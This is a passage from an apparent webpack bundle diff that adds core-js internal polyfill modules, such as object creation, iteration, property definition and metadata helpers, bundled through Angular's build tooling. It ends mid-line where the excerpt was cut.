"./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = false; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isArrayIteratorMethod = __webpack_require__(/*! ../internals/is-array-iterator-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array-iterator-method.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var getIteratorMethod = __webpack_require__(/*! ../internals/get-iterator-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-iterator-method.js"); +var callWithSafeIterationClosing = __webpack_require__(/*! ../internals/call-with-safe-iteration-closing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/call-with-safe-iteration-closing.js"); +var BREAK = {}; + +var exports = module.exports = function (iterable, fn, that, ENTRIES, ITERATOR) { + var boundFunction = bind(fn, that, ENTRIES ? 2 : 1); + var iterator, iterFn, index, length, result, step; + + if (ITERATOR) { + iterator = iterable; + } else { + iterFn = getIteratorMethod(iterable); + if (typeof iterFn != 'function') throw TypeError('Target is not iterable'); + // optimisation for array iterators + if (isArrayIteratorMethod(iterFn)) { + for (index = 0, length = toLength(iterable.length); length > index; index++) { + result = ENTRIES ? boundFunction(anObject(step = iterable[index])[0], step[1]) : boundFunction(iterable[index]); + if (result === BREAK) return BREAK; + } return; + } + iterator = iterFn.call(iterable); + } + + while (!(step = iterator.next()).done) { + if (callWithSafeIterationClosing(iterator, boundFunction, step.value, ENTRIES) === BREAK) return BREAK; + } +}; + +exports.BREAK = BREAK; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var IS_PURE = __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var BUGGY_SAFARI_ITERATORS = false; + +var returnThis = function () { return this; }; + +// `%IteratorPrototype%` object +// https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object +var IteratorPrototype, PrototypeOfArrayIteratorPrototype, arrayIterator; + +if ([].keys) { + arrayIterator = [].keys(); + // Safari 8 has buggy iterators w/o `next` + if (!('next' in arrayIterator)) BUGGY_SAFARI_ITERATORS = true; + else { + PrototypeOfArrayIteratorPrototype = getPrototypeOf(getPrototypeOf(arrayIterator)); + if (PrototypeOfArrayIteratorPrototype !== Object.prototype) IteratorPrototype = PrototypeOfArrayIteratorPrototype; + } +} + +if (IteratorPrototype == undefined) IteratorPrototype = {}; + +// 25.1.2.1.1 %IteratorPrototype%[@@iterator]() +if (!IS_PURE && !has(IteratorPrototype, ITERATOR)) hide(IteratorPrototype, ITERATOR, returnThis); + +module.exports = { + IteratorPrototype: IteratorPrototype, + BUGGY_SAFARI_ITERATORS: BUGGY_SAFARI_ITERATORS +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = {}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-symbol.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-symbol.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Chrome 38 Symbol has incorrect toString conversion +module.exports = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + // eslint-disable-next-line no-undef + return !String(Symbol()); +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var nativeFunctionToString = __webpack_require__(/*! ../internals/function-to-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js"); +var WeakMap = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").WeakMap; + +module.exports = typeof WeakMap === 'function' && /native code/.test(nativeFunctionToString.call(WeakMap)); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var defineProperties = __webpack_require__(/*! ../internals/object-define-properties */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-properties.js"); +var enumBugKeys = __webpack_require__(/*! ../internals/enum-bug-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js"); +var html = __webpack_require__(/*! ../internals/html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/html.js"); +var documentCreateElement = __webpack_require__(/*! ../internals/document-create-element */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js"); +var IE_PROTO = __webpack_require__(/*! ../internals/shared-key */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js")('IE_PROTO'); +var PROTOTYPE = 'prototype'; +var Empty = function () { /* empty */ }; + +// Create object with fake `null` prototype: use iframe Object with cleared prototype +var createDict = function () { + // Thrash, waste and sodomy: IE GC bug + var iframe = documentCreateElement('iframe'); + var length = enumBugKeys.length; + var lt = '<'; + var script = 'script'; + var gt = '>'; + var js = 'java' + script + ':'; + var iframeDocument; + iframe.style.display = 'none'; + html.appendChild(iframe); + iframe.src = String(js); + iframeDocument = iframe.contentWindow.document; + iframeDocument.open(); + iframeDocument.write(lt + script + gt + 'document.F=Object' + lt + '/' + script + gt); + iframeDocument.close(); + createDict = iframeDocument.F; + while (length--) delete createDict[PROTOTYPE][enumBugKeys[length]]; + return createDict(); +}; + +module.exports = Object.create || function create(O, Properties) { + var result; + if (O !== null) { + Empty[PROTOTYPE] = anObject(O); + result = new Empty(); + Empty[PROTOTYPE] = null; + // add "__proto__" for Object.getPrototypeOf polyfill + result[IE_PROTO] = O; + } else result = createDict(); + return Properties === undefined ? result : defineProperties(result, Properties); +}; + +__webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js")[IE_PROTO] = true; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-properties.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-properties.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var objectKeys = __webpack_require__(/*! ../internals/object-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js"); + +module.exports = DESCRIPTORS ? Object.defineProperties : function defineProperties(O, Properties) { + anObject(O); + var keys = objectKeys(Properties); + var length = keys.length; + var i = 0; + var key; + while (length > i) definePropertyModule.f(O, key = keys[i++], Properties[key]); + return O; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js": +/*!*************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js ***! + \*************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ../internals/ie8-dom-define */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var nativeDefineProperty = Object.defineProperty; + +exports.f = DESCRIPTORS ? nativeDefineProperty : function defineProperty(O, P, Attributes) { + anObject(O); + P = toPrimitive(P, true); + anObject(Attributes); + if (IE8_DOM_DEFINE) try { + return nativeDefineProperty(O, P, Attributes); + } catch (error) { /* empty */ } + if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported'); + if ('value' in Attributes) O[P] = Attributes.value; + return O; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js": +/*!*************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js ***! + \*************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var propertyIsEnumerableModule = __webpack_require__(/*! ../internals/object-property-is-enumerable */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ../internals/ie8-dom-define */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js"); +var nativeGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; + +exports.f = DESCRIPTORS ? nativeGetOwnPropertyDescriptor : function getOwnPropertyDescriptor(O, P) { + O = toIndexedObject(O); + P = toPrimitive(P, true); + if (IE8_DOM_DEFINE) try { + return nativeGetOwnPropertyDescriptor(O, P); + } catch (error) { /* empty */ } + if (has(O, P)) return createPropertyDescriptor(!propertyIsEnumerableModule.f.call(O, P), O[P]); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js": +/*!********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js ***! + \********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O) +var internalObjectKeys = __webpack_require__(/*! ../internals/object-keys-internal */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js"); +var hiddenKeys = __webpack_require__(/*! ../internals/enum-bug-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js").concat('length', 'prototype'); + +exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) { + return internalObjectKeys(O, hiddenKeys); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js": +/*!**********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js ***! + \**********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +exports.f = Object.getOwnPropertySymbols; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O) +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var IE_PROTO = __webpack_require__(/*! ../internals/shared-key */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js")('IE_PROTO'); +var CORRECT_PROTOTYPE_GETTER = __webpack_require__(/*! ../internals/correct-prototype-getter */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js"); +var ObjectPrototype = Object.prototype; + +module.exports = CORRECT_PROTOTYPE_GETTER ? Object.getPrototypeOf : function (O) { + O = toObject(O); + if (has(O, IE_PROTO)) return O[IE_PROTO]; + if (typeof O.constructor == 'function' && O instanceof O.constructor) { + return O.constructor.prototype; + } return O instanceof Object ? ObjectPrototype : null; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var arrayIndexOf = __webpack_require__(/*! ../internals/array-includes */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-includes.js")(false); +var hiddenKeys = __webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js"); + +module.exports = function (object, names) { + var O = toIndexedObject(object); + var i = 0; + var result = []; + var key; + for (key in O) !has(hiddenKeys, key) && has(O, key) && result.push(key); + // Don't enum bug & hidden keys + while (names.length > i) if (has(O, key = names[i++])) { + ~arrayIndexOf(result, key) || result.push(key); + } + return result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.14 / 15.2.3.14 Object.keys(O) +var internalObjectKeys = __webpack_require__(/*! ../internals/object-keys-internal */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js"); +var enumBugKeys = __webpack_require__(/*! ../internals/enum-bug-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js"); + +module.exports = Object.keys || function keys(O) { + return internalObjectKeys(O, enumBugKeys); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js": +/*!********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js ***! + \********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var nativePropertyIsEnumerable = {}.propertyIsEnumerable; +var nativeGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; + +// Nashorn ~ JDK8 bug +var NASHORN_BUG = nativeGetOwnPropertyDescriptor && !nativePropertyIsEnumerable.call({ 1: 2 }, 1); + +exports.f = NASHORN_BUG ? function propertyIsEnumerable(V) { + var descriptor = nativeGetOwnPropertyDescriptor(this, V); + return !!descriptor && descriptor.enumerable; +} : nativePropertyIsEnumerable; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Works with __proto__ only. Old v8 can't work with null proto objects. +/* eslint-disable no-proto */ +var validateSetPrototypeOfArguments = __webpack_require__(/*! ../internals/validate-set-prototype-of-arguments */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-set-prototype-of-arguments.js"); + +module.exports = Object.setPrototypeOf || ('__proto__' in {} ? function () { + var correctSetter = false; + var test = {}; + var setter; + try { + setter = Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').set; + setter.call(test, []); + correctSetter = test instanceof Array; + } catch (error) { /* empty */ } + return function setPrototypeOf(O, proto) { + validateSetPrototypeOfArguments(O, proto); + if (correctSetter) setter.call(O, proto); + else O.__proto__ = proto; + return O; + }; +}() : undefined); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/own-keys.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/own-keys.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var getOwnPropertyNamesModule = __webpack_require__(/*! ../internals/object-get-own-property-names */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js"); +var getOwnPropertySymbolsModule = __webpack_require__(/*! ../internals/object-get-own-property-symbols */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var Reflect = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").Reflect; + +// all object keys, includes non-enumerable and symbols +module.exports = Reflect && Reflect.ownKeys || function ownKeys(it) { + var keys = getOwnPropertyNamesModule.f(anObject(it)); + var getOwnPropertySymbols = getOwnPropertySymbolsModule.f; + return getOwnPropertySymbols ? keys.concat(getOwnPropertySymbols(it)) : keys; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); + +module.exports = function (target, src, options) { + for (var key in src) redefine(target, key, src[key], options); + return target; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var setGlobal = __webpack_require__(/*! ../internals/set-global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js"); +var nativeFunctionToString = __webpack_require__(/*! ../internals/function-to-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js"); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var getInternalState = InternalStateModule.get; +var enforceInternalState = InternalStateModule.enforce; +var TEMPLATE = String(nativeFunctionToString).split('toString'); + +__webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('inspectSource', function (it) { + return nativeFunctionToString.call(it); +}); + +(module.exports = function (O, key, value, options) { + var unsafe = options ? !!options.unsafe : false; + var simple = options ? !!options.enumerable : false; + var noTargetGet = options ? !!options.noTargetGet : false; + if (typeof value == 'function') { + if (typeof key == 'string' && !has(value, 'name')) hide(value, 'name', key); + enforceInternalState(value).source = TEMPLATE.join(typeof key == 'string' ? key : ''); + } + if (O === global) { + if (simple) O[key] = value; + else setGlobal(key, value); + return; + } else if (!unsafe) { + delete O[key]; + } else if (!noTargetGet && O[key]) { + simple = true; + } + if (simple) O[key] = value; + else hide(O, key, value); +// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative +})(Function.prototype, 'toString', function toString() { + return typeof this == 'function' && getInternalState(this).source || nativeFunctionToString.call(this); +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/reflect-metadata.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var Map = __webpack_require__(/*! ../modules/es.map */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.map.js"); +var WeakMap = __webpack_require__(/*! ../modules/es.weak-map */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.weak-map.js"); +var shared = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('metadata'); +var store = shared.store || (shared.store = new WeakMap()); + +var getOrCreateMetadataMap = function (target, targetKey, create) { + var targetMetadata = store.get(target); + if (!targetMetadata) { + if (!create) return; + store.set(target, targetMetadata = new Map()); + } + var keyMetadata = targetMetadata.get(targetKey); + if (!keyMetadata) { + if (!create) return; + targetMetadata.set(targetKey, keyMetadata = new Map()); + } return keyMetadata; +}; + +var ordinaryHasOwnMetadata = function (MetadataKey, O, P) { + var metadataMap = getOrCreateMetadataMap(O, P, false); + return metadataMap === undefined ? false : metadataMap.has(MetadataKey); +}; + +var ordinaryGetOwnMetadata = function (MetadataKey, O, P) { + var metadataMap = getOrCreateMetadataMap(O, P, false); + return metadataMap === undefined ? undefined : metadataMap.get(MetadataKey); +}; + +var ordinaryDefineOwnMetadata = function (MetadataKey, MetadataValue, O, P) { + getOrCreateMetadataMap(O, P, true).set(MetadataKey, MetadataValue); +}; + +var ordinaryOwnMetadataKeys = function (target, targetKey) { + var metadataMap = getOrCreateMetadataMap(target, targetKey, false); + var keys = []; + if (metadataMap) metadataMap.forEach(function (_, key) { keys.push(key); }); + return keys; +}; + +var toMetadataKey = function (it) { + return it === undefined || typeof it == 'symbol' ? it : String(it); +}; + +module.exports = { + store: store, + getMap: getOrCreateMetadataMap, + has: ordinaryHasOwnMetadata, + get: ordinaryGetOwnMetadata, + set: ordinaryDefineOwnMetadata, + keys: ordinaryOwnMetadataKeys, + toKey: toMetadataKey +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// `RequireObjectCoercible` abstract operation +// https://tc39.github.io/ecma262/#sec-requireobjectcoercible +module.exports = function (it) { + if (it == undefined) throw TypeError("Can't call method on " + it); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); + +module.exports = function (key, value) { + try { + hide(global, key, value); + } catch (error) { + global[key] = value; + } return value; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var getBuiltIn = __webpack_require__(/*! ../internals/get-built-in */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-built-in.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); + +module.exports = function (CONSTRUCTOR_NAME) { + var C = getBuiltIn(CONSTRUCTOR_NAME); + var defineProperty = definePropertyModule.f; + if (DESCRIPTORS && C && !C[SPECIES]) defineProperty(C, SPECIES, { + configurable: true, + get: function () { return this; } + }); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var TO_STRING_TAG = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('toStringTag'); + +module.exports = function (it, TAG, STATIC) { + if (it && !has(it = STATIC ? it : it.prototype, TO_STRING_TAG)) { + defineProperty(it, TO_STRING_TAG, { configurable: true, value: TAG }); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var shared = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('keys'); +var uid = __webpack_require__(/*! 